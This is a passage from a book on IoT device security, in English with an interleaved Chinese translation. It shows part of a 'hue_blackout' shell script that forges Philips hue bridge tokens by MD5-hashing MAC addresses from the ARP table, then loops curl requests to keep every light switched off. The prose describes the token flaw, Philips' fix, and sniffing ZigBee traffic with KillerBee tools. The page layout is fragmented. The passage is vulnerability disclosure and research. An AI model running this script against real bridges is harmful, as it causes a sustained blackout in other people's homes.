36
1
# Pad it so 0:4:5a:fd:83:f9 becomes 00:04:5a:fd:83:f9 (thanks
# http://code.google.com/p/plazes/wiki/FindingMACAddress)
padded_m=`echo $m |
sed "s/^\(.\):/0\1:/" |
sed "s/:\(.\):/:0\1:/g" |
sed "s/:\(.\):/:0\1:/g" |
sed "s/:\(.\)$/:0\1/"`
# Ignore broadcast entries in the ARP table
if [ $padded_m != "FF:FF:FF:FF:FF:FF" ]
then
# Compute MD5 hash of the MAC address
bridge_username=( $(md5 -q -s $padded_m))
# Use the hash to attempt to instruct the bridge to turn
# all lights off
turn_it_off=($(curl --connect-timeout
5 -s -X PUT
http://$bridge_ip/api/$bridge_username/groups/0/action -d
{\"on\":false} | grep success))
# If it worked, go into an infinite loop and cause a sustained
# blackout
if [ -n "$turn_it_off" ];
then
echo "SUCCESS! It's blackout time!";
while true;
do
turn_it_off=($(curl --connect-timeout 5 -s
-X PUT http://$bridge_ip/
api/$bridge_username/groups/0/action -d {\"on\":false}
| grep success))
# The hue bridge can't keep up with too many iterative
# requests. Sleep for 1/2 sec to let it recover.
sleep 0.5
# Break out of the loop and go back to cycling through
# ARP entries if the user deregistered the device
# NOTE: If the user reregisters the same physical
# device, we can get the token again and redo the blackout.
# Or, we may get a hold of another registered device from
# the ARP table.
if [ -z "$turn_it_off" ];
then
echo "Hm. The token doesn't work anymore, the user must
have deregistered the device :("
break
fi
29
CONTROLLING LIGHTS USING THE IOS APP
TIP
done
fi
fi
done
unset mac_addresses;
done
One other issue with the design of the hue system is that there is no way to deregister a
whitelist token. In other words, if a device such as an iPhone is authorized to the bridge,
there is no user-facing functionality to unauthorize the device. Since the authorization is per-
formed using the MAC address, an authorized device will continue to enjoy access to the
bridge.
See Hacking Lightbulbs for a video demonstration of the
hue_blackout.bash
script.
Note that, upon notication to Philips, this issue was xed and a software and rmware
update has been released.
Changing Lightbulb State
So far, we’ve seen how to command the hue bridge to change the state of bulbs. The bridge
itself uses the ZigBee Light Link (ZLL) wireless protocol to instruct the bulbs. Built upon the
IEEE 802.15.4 standard, ZLL is a low-cost, low-powered, popular protocol used by millions of
devices and sensors. The ZLL standard is a specication of a ZigBee application prole that
denes communication parameters for lighting systems related to the consumer market and
small professional installations.
ZLL requires the use of a manufacturer-issued master key, which is stored on both the
bridge and the lightbulbs. Upon initiation (when the user presses the button on the bridge),
the bridge generates a random network key and encrypts it using the master key. The light-
bulbs use the master key to decrypt and read the network key, which they subsequently use to
communicate with the bridge.
Using the KillerBee framework and an RZ USB stick, we can sni ZLL network trac.
After plugging in the RZ USB stick, we rst identify it using zbid, a tool that is part of the
KillerBee suite:
# zbid
Dev Product String Serial Number
002:005 KILLERB001 [DELETED]
CHAPTER 1: LIGHTS OUT—HACKING WIRELESS LIGHTBULBS TO CAUSE SUSTAINED
BLACKOUTS
30
照明系统的另一个设计缺陷是它无法注销
whitelist
令牌。换句话说,如果某个设备如
iPhone
获得了访问网桥的授权,那么用户就不能取消该授权。因为这是使用
MAC
地址
执行的授权,因此被授权设备会一直拥有访问网桥的权限。
访问
Hacking Lightbulbs
http://bit.ly/hacking_lightbulbs
)可观看
hue_blackout.bash
本的视频演示。
需要提醒的是,上述问题已反馈给飞利浦公司,问题已经得到修复,软件和固件更新也
已经发布了。
1.4
改变灯泡状态
到目前为止,我们知道了如何向网桥发送命令改变灯泡状态。网桥本身使用
ZigBee
Light Link
ZLL
)无线协议向灯泡发送指令。
ZLL
协议以
IEEE 802.15.4
标准为基础,
是一种低成本、低功耗、广泛应用于数以百万计的设备和传感器上的协议。
ZLL
标准实
际上是一个
ZigBee
应用配置的规范,定义了与消费市场和小型专业设备相关的照明系
统参数。
ZLL
需要开发商提供主密钥,并将它保存在网桥和灯泡上。初始化时(也就是用户按下
熄灯
——
攻击无线灯泡致使持续性停电
37
网桥按键时),网桥会产生一个随机网络密钥并使用主密钥进行加密。灯泡使用主密钥
解密并读取出网络密钥,之后网桥和灯泡就可以使用该网络密钥进行通信了。
使用
KillerBee
框架和
RZ U
盘,我们可以嗅探
ZLL
的网络流量。插入
RZ U
盘之后,我
们先使用
zbid
工具验证一下,
zbid
KillerBee
套件中的一个工具:
#
zbid
Dev Product String Serial Number
002:005 KILLERB001 [DELETED]
之后,我们就可以使用
zbwireshark
命令进行嗅探(比如这里嗅探
11
信道):
# zbwireshark -f 11 -i '002:005'
该命令会启动
Wireshark
http://www.wireshark.org/
)工具,并开始捕获
ZigBee
流量。
如图
1-15
所示,网桥持续不断地在信道
11
上发送信标广播请求(
ZigBee
的信道范围从
11
26
),候选设备如灯泡可以对该信标请求做出响应,以加入到网络中。
1-15WireShark 捕获信标请求
本例中,除了信标请求之外,在
20
信道上也会出现
ZLL
流量,如图
1-16
所示。
ZigBee
38
1
Security Header
中的
Security Control
字段设为
0x01
,表示正在使用一个消息认证码
AES-CBC-MAC-3/MIC-32
)。该消息认证码的传输过程也被捕获到并显示出来了。
1-16WireShark 捕获 20 信道流量
当网桥收到一个认证请求用以改变与其关联的灯泡状态时,就需要使用
ZigBee
协议以
ZLL
规范进行通信了,通信过程如图
1-15
和图
1-16
所示。
我们知道网桥使用
ZLL
协议与灯泡通信。网桥还会使用一个共享密钥来维持与照明系统
基础设施的基于
HTTP
的带外连接。当网桥接收到来自照明网站(或者来自远程网络的
iOS App
)路由过来的命令时,会启用该连接。应用于网桥的
ZLL
实现或者加密方法有
可能存在缺陷。然而,要利用这些缺陷,攻击者需要与被攻击对象保持很近的距离(以
便于利用
ZLL
的问题),或者能够拦截网络数据并注入数据包。
由于这类问题发生的概率比较低,所以它并不视为关键的风险,但是它的潜在威胁还是
值得我们陈述一下。

Get 物联网设备安全 now with O’Reilly online learning.

O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers.